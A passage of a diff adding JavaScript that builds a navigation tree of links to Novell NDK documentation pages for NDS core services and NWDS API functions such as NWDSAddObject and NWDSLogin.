+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Core Services ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h2y7hdit.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Programming Concepts ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h2x9gqr9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Context Handles ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huynzi7a.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buffer Management ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h9xiygoj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Read Requests for Object Information ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h7d6try4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Search Requests ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h11es6ae.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Developing in a Loosely Consistent Environment ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hsaqomj7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Add Object Requests ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hqjws9hi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Security and Applications ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h3xwyggn.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Authentication of Client Applications ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h0m1k6ck.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Multiple Tree Support ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hu5a8flo.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Effective Rights Function ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/he06edkq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/ha7fzu9h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hpmsr4w7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Read Requests for Schema Information ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h0a2o4v9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Extension Requests ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hrgy5k6e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huypg52u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Context Handle Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hw34ixeu.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buffer Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hb1nkqk4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Authentication and Connection Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huzx6sda.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hddp9m9i.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition and Replica Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hpx2o69b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hp85l75p.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAbbreviateName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk135.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAbortPartitionOperation ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk144.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddFilterToken ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk153.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk162.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddPartition (obsolete&#45;&#45;&#45;moved from .h file 11/99) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk171.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddReplica ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk180.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddSecurityEquiv ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk189.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAllocBuf ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk198.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAllocFilter ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk207.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuditGetObjectID ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk216.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuthenticate ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk225.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuthenticateConn ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk234.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuthenticateConnEx ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a3fvxoz.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSBackupObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk243.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSBeginClassItem ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk252.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCanDSAuthenticate ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk261.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCanonicalizeName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk270.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSChangeObjectPassword ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk279.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSChangeReplicaType ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk288.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCIStringsMatch ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk297.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCloseIteration ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk305.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCompare ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk314.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSComputeAttrValSize ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk360.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCreateContext (obsolete&#45;&#45;&#45;moved from .h file 6/99) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk369.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCreateContextHandle ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk371.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDefineAttr ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk382.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDefineClass ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk391.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDelFilterToken ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk402.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDuplicateContext (obsolete 03/99) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk412.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDuplicateContextHandle ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk423.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSExtSyncList ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk434.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSExtSyncRead ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk443.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSExtSyncSearch ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk455.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSFreeBuf ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk465.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSFreeContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk474.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSFreeFilter ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk491.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGenerateObjectKeyPair ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk501.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk511.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk521.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk530.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk540.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrValFlags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk550.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrValModTime ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk558.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetBinderyContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk566.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk603.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassDefCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk691.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassItem ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk769.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassItemCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk838.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk919.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetCountByClassAndName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk972.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetCurrentUser ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1031.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetDefNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1041.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetDSIInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1117.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetDSVerInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1209.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetEffectiveRights ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1274.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetMonitoredConnRef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1346.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetNDSInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1425.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1528.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectHostServerAddress ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1604.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1640.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectNameAndInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1700.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionExtInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1781.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionExtInfoPtr ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1830.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1938.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionRoot ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2001.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerAddresses (obsolete 3/98) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2021.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerAddresses2 ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2030.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerDN ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2039.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2047.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetSyntaxCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2056.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetSyntaxDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2065.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetSyntaxID ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2074.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSInitBuf ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2082.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSInspectEntry ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2091.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSJoinPartitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2099.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSList ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2108.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListAttrsEffectiveRights ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2117.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListByClassAndName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2126.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListContainableClasses ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2135.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListContainers ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2144.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListPartitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2153.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListPartitionsExtInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2162.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSLogin ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2171.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSLoginAsServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2180.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSLogout ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2187.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMapIDToName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2196.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMapNameToID ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2205.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2214.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
